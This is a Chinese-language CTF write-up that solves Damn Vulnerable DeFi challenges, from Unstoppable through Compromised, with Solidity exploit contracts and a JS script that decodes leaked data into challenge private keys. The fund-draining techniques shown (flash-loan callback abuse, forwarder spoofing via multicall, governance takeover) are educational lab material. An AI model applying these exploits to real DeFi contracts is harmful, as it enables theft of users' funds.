继续刷题
[0] 环境设置 我是用 forge 搭建的靶场,貌似还可以用 npm 之类的搭建,这样做题就直接用 web3.js 交互就可以了。
根据官方说明 搭建靶场环境。forge 可能由于网络原因会失败,多安装几次就好了
forge build
之后,本地有这样几个文件夹比较重要:
src
: 漏洞源码。要做的题目都在这里面
test
: 题解。如果想要解题,必须运行forge test --mp test/<题目名称>/<题目名称>.t.sol -vv
,-vv是为了打印 emit log,方便我们调试。而我们的攻击poc就要写在上面这个.t.sol文件的test_<题目名称>()这个函数中。
[1] Unstoppable
漏洞类型:revert条件设置不当
本题我们的目标是攻击闪电贷合约,让这个闪电贷在任何时候都无法工作。
闪电贷(Flash Loan)是一种无需抵押的贷款形式,广泛用于去中心化金融(DeFi)领域。它的特别之处在于,贷款的整个过程(借款、使用资金、还款)必须在同一笔交易中完成。如果在交易结束时贷款没有被偿还,整个交易将被回滚,确保贷款人不会承担任何风险。
我们分析代码之后可以将漏洞定位在 flashLoan 函数里,因为只有当这个函数失败,monitor 里的 checkFlashLoan 才会 emit 一个 false。
而想要让 flashLoan 失败,有四个触发点:
if (amount == 0) revert InvalidAmount(0);
if (address(asset) != _token) revert UnsupportedCurrency();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
if ( ... != keccak256("IERC3156FlashBorrower.onFlashLoan")) {revert CallbackFailed();}
第一个点,amount是传参,不是我们想要改变的状态变量
第二个点,asset在整个合约中除了构造函数有改变以外,没有我们可以控制的点
第四个点,这个函数签名不正确,这也是我们无法控制的。
所以很明显,我们需要攻击第三点。但为什么会莫名其妙有第三点这个限制?我们仔细来分析一下:
首先,balanceBefore 是 totalAssets() 的返回值,assets 是闪电贷合约里剩余的代币数目(注意这里是代币,而不是实际的 ether),supply 是闪电贷合约能供给的数目上限,也就是一开始给的 1_000_000e18 个 ERC20 token(DVT),这个数目是不会变的。
我们一开始拥有 10 个 DVT,如果给闪电贷合约转 1 个 DVT 的话,这里的convertToShares 函数返回值就永远是 999999999999999999999999 了,此时就永远关停这个闪电贷了。
exp 如下:
1 2 3 4 5 6 7 8 9 10 function test_unstoppable() public checkSolvedByPlayer { require(vault.convertToShares(vault.totalSupply()) == vault.totalAssets(),"not equal"); emit log_named_uint("Total Supply", vault.totalSupply()); emit log_named_uint("Total Assets", vault.totalAssets()); require(token.transfer(address(vault), 1 wei)); emit log_named_uint("calc result", vault.convertToShares(vault.totalSupply())); emit log_named_uint("Total Supply", vault.totalSupply()); emit log_named_uint("Total Assets", vault.totalAssets()); require(vault.convertToShares(vault.totalSupply()) != vault.totalAssets(),"equal"); }
我突然意识到这个闪电贷是不是只要接收到 fee 立刻就 dead 了。。
[2] NaiveReceiver
漏洞类型:权限设置错误
这道题要求我们把 receiver 里的 10 WETH 和 pool 里的 1000 WETH 全转移到 recovery 账户中。最后 isSolved 有四条限制:
player 调用的交易小于等于 2 条
receiver 的 weth 余额为0
pool 的 weth 余额为0
recovery 的 weth 余额为 1010
很明显能看到 NaiveReceiverPool 合约中的 withdraw 权限设置的不对,任何人都可以调用这个函数取款。
但新版本的 solidity feature 卡了我好久…原来 0.8.0 之后的上溢/下溢都会自动检测了..也就是说没办法直接通过withdraw直接提款。
但这个合约还自己实现了 _msgSender 函数,当调用者是 trustedForwarder 时,_msgSender 函数就会将 msg.data的 最后 20byte 当作地址返回。也就是说,我们必须要通过 trustedForwarder 的 execute 方法来间接调用 withdraw。
除此之外,我们知道 deposits[deployer] 是有 1000WETH 的,deposits[receiver] 也有 10WETH,所以我们就有如下两种方法来转走这两个合约的 WETH:
第一种是通过闪电贷的 fee,把 receiver 里的 10WETH 转移到 deployer 中,然后一口气提干净。
第二种是提取一次 deployer,提取一次 receiver
但无论以上哪一种方法,都需要绕过上述的第一条限制:交易数小于等于 2 条,而这就用到了 Multicall 合约里的 multicall 方法了。
我们看第一种方法:调用 10 次 flashLoan,交 10 次 1WETH 的手续费,就能把 WETH 汇总在 deployer 的 deposits 中。不过这 10 次交易需要用 multicall 一起执行,不然会超出第一条限制的要求。然后,我们再通过 execute 调用 withdraw,就可以把这里面的存款全都转到 recovery 中了。不过这里我们选择把两条交易合并作一条,也就是把 withdraw 的 abi 编码与前10条 flashLoan 的编码合在一起。exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 function test_naiveReceiver() public checkSolvedByPlayer { bytes[] memory callData = new bytes[](11); for (uint256 i = 0; i < 10; i++) { callData[i] = abi.encodeCall(NaiveReceiverPool.flashLoan, (receiver, address(weth), 0, bytes(""))); } callData[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))); bytes32(uint256(uint160(deployer))), ); bytes memory multicallData = abi.encodeCall(Multicall.multicall, callData); BasicForwarder.Request memory request = BasicForwarder.Request({ from: player, target: address(pool), value: 0, gas: 1e7, nonce: forwarder.nonces(player), data: multicallData, deadline: block.timestamp + 1 days }); bytes32 requestHash = keccak256( abi.encodePacked( "\x19\x01", forwarder.domainSeparator(), forwarder.getDataHash(request) ) ); (uint8 v, bytes32 r, bytes32 s)= vm.sign(playerPk ,requestHash); bytes memory signature = abi.encodePacked(r, s, v); forwarder.execute(request, signature); }
[3] Truster 这道题的合约代码量很小,就实现了一个闪电贷,让我们通过闪电贷的交易过程,把合约里的钱都转走。
想转走代币一共有两种方法,第一种是直接让可信用户调用 transfer 函数,第二种是让恶意用户成为可信用户后,再通过恶意用户转账。由于 flashLoan 设置了代币数目检查,所以我们没办法在 flashLoan 的 target.functionCall 中直接调用 transfer,但我们可以采取 approve,让恶意合约有操控代币的权限。
exp 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 contract TrusterExploiter { TrusterLenderPool public pool; DamnValuableToken public token; address recovery; constructor(TrusterLenderPool _pool, DamnValuableToken _token, address _recovery) { pool = _pool; token = _token; recovery = _recovery; } function attack() public returns (bool) { require(pool.flashLoan( 0, address(this), address(token), abi.encodeCall(token.approve,(address(this), 1_000_000e18)) )); token.transferFrom(address(pool), address(this), 1_000_000e18); token.transfer(recovery, 1_000_000e18); return true; } } contract TrusterChallenge is Test { ... function test_truster() public checkSolvedByPlayer { TrusterExploiter exploiter = new TrusterExploiter(pool, token, recovery); require(exploiter.attack()); } ... }
[4] Side Entrance 这题跟上一题很相似,但是上一题用的是代币,这一题就完完全全用的 ether 了。不过我们可以在 IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
里将贷款来的钱再用 deposit 存入 SideEntranceLenderPool 合约中,这样不仅不会影响 RepayFailed,还可以让 balances[IFlashLoanEtherReceiver] = 1000,之后我们 withdraw 即可成功提款,然后转账给 recovery 就好了。exp 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 contract IFlashLoanEtherReceiver { address player; address recovery; SideEntranceLenderPool pool; constructor(SideEntranceLenderPool _pool, address _player, address _recovery) { pool = _pool; player = _player; recovery = _recovery; } function execute() external payable { pool.deposit{value: msg.value}(); } function callFlashLoan(uint256 amount) public { pool.flashLoan(amount); pool.withdraw(); payable(recovery).transfer(amount); } receive() external payable {} } contract SideEntranceChallenge is Test { ... function test_sideEntrance() public checkSolvedByPlayer { IFlashLoanEtherReceiver receiver = new IFlashLoanEtherReceiver(pool, player, recovery); receiver.callFlashLoan(1000e18); } ... }
[5] The Rewarder 漏洞在 claimRewards 里,同一次 claim 多个相同的账户不会有问题…
因为第一次调用,address(token) == address(0),不会进入_setClaimed,之后的调用 token == inputTokens[inputClaim.tokenIndex],进入 else 分支,也不会进入_setClaimed,等到下一种代币的时候,你就算把我上一个代币 setClaimed 也没用了。
感觉还是审代码的耐心不够..不清楚 merkel tree 的工作原理,想一笔调用干净,但每次 claim 的 amount 也要完全符合 json 文件里的 amount,所以只能多笔。
那既然想到多笔调出来,就肯定要研究 claimRewards 函数,然后模拟一下就能发现这个 if 判断条件有问题。
沉下心来,欲速则不达。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 function test_theRewarder() public checkSolvedByPlayer { uint PLAYER_DVT_CLAIM_AMOUNT = 11524763827831882; uint PLAYER_WETH_CLAIM_AMOUNT = 1171088749244340; bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json"); bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json"); uint dvtTxCount = TOTAL_DVT_DISTRIBUTION_AMOUNT / PLAYER_DVT_CLAIM_AMOUNT; uint wethTxCount = TOTAL_WETH_DISTRIBUTION_AMOUNT / PLAYER_WETH_CLAIM_AMOUNT; uint totalTxCount = dvtTxCount + wethTxCount; IERC20[] memory tokensToClaim = new IERC20[](2); tokensToClaim[0] = IERC20(address(dvt)); tokensToClaim[1] = IERC20(address(weth)); // Create Alice's claims Claim[] memory claims = new Claim[](totalTxCount); for (uint i = 0; i < totalTxCount; i++) { if (i < dvtTxCount) { claims[i] = Claim({ batchNumber: 0, // claim corresponds to first DVT batch amount: PLAYER_DVT_CLAIM_AMOUNT, tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array proof: merkle.getProof(dvtLeaves, 188) // Alice's address is at index 2 }); } else { claims[i] = Claim({ batchNumber: 0, // claim corresponds to first DVT batch amount: PLAYER_WETH_CLAIM_AMOUNT, tokenIndex: 1, // claim corresponds to first token in `tokensToClaim` array proof: merkle.getProof(wethLeaves, 188) // Alice's address is at index 2 }); } } distributor.claimRewards({ inputClaims: claims, inputTokens: tokensToClaim }); dvt.transfer(recovery, dvt.balanceOf(player)); weth.transfer(recovery, weth.balanceOf(player)); }
[6] Selfie 这道题实现了个 fancy governance mechanism,如果我们通过 governance.executeAction 调用 emergencyExit(player),应该就可以提取所有的钱了。
主要问题有两个,第一个是绕过 queueAction 里的 _hasEnoughVotes,这个可以通过在 onFlashLoan 里调用 queueAction 来实现
第二个问题是要绕过 timestamp,让 timedelta 大于 2 days。这个我实在想不出来了,我觉得现实中应该就是隔两天之后再调用,就能绕过了吧。
看完别人的wp,居然直接用vm.warp(block.timestamp + 2 days);绕过了…好吧,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import {IERC3156FlashBorrower} from "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol"; contract Expoliter is IERC3156FlashBorrower { bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); address recovery; uint256 actionId; uint256 constant TOKEN_INITIAL_SUPPLY = 2_000_000e18; uint256 constant TOKENS_IN_POOL = 1_500_000e18; DamnValuableVotes token; SimpleGovernance governance; SelfiePool pool; constructor(DamnValuableVotes _token, SimpleGovernance _governance, SelfiePool _pool, address _recovery) { token = _token; governance = _governance; pool = _pool; recovery = _recovery; } function onFlashLoan(address receiver, address _token, uint256 _amount, uint256 nonce, bytes calldata _data) public returns (bytes32) { token.delegate(address(this)); token.approve(address(pool), TOKENS_IN_POOL); actionId = governance.queueAction(address(pool), 0, abi.encodeCall(pool.emergencyExit, (recovery))); return CALLBACK_SUCCESS; } function step1() public { pool.flashLoan(this, address(token), TOKENS_IN_POOL, ""); } function step2() public { governance.executeAction(actionId); } } function test_selfie() public checkSolvedByPlayer { Expoliter expoliter = new Expoliter(token, governance, pool, recovery); expoliter.step1(); vm.warp(block.timestamp + 2 days); expoliter.step2(); }
[7] Compromised 这题是真懵b了,不知道题面给的那串数字有什么用,看了wp之后可以通过它来解码私钥,解码exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 const { ethers } = require ("ethers" );function hexToAscii (hex ) { let ascii = '' ; for (let i = 0 ; i < hex.length ; i += 2 ) { ascii += String .fromCharCode (parseInt (hex.substr (i, 2 ), 16 )); } return ascii; } function decodeBase64 (base64Str ) { return atob (base64Str); } const leakedInformation = [ '4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35' , '4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34' , ] leakedInformation.forEach (leak => { hexStr = leak.split (` ` ).join (`` ).toString () const asciiStr = hexToAscii (hexStr); const decodedStr = decodeBase64 (asciiStr); const privateKey = decodedStr; console .log ("Private Key:" , privateKey); const wallet = new ethers.Wallet (privateKey); const address = wallet.address ; console .log ("Public Key:" , address); });
得到下面的结果
1 2 3 4 Private Key: 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9 Public Key: 0xe92401A4d3af5E446d93D11EEc806b1462b39D15 Private Key: 0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48 Public Key: 0x81A5D6E50C214044bE44cA0CB057fe119097850c
受不了了…我也compromise了,不懂怎么在forge里验证公私钥,先略过去了👉👈
[8]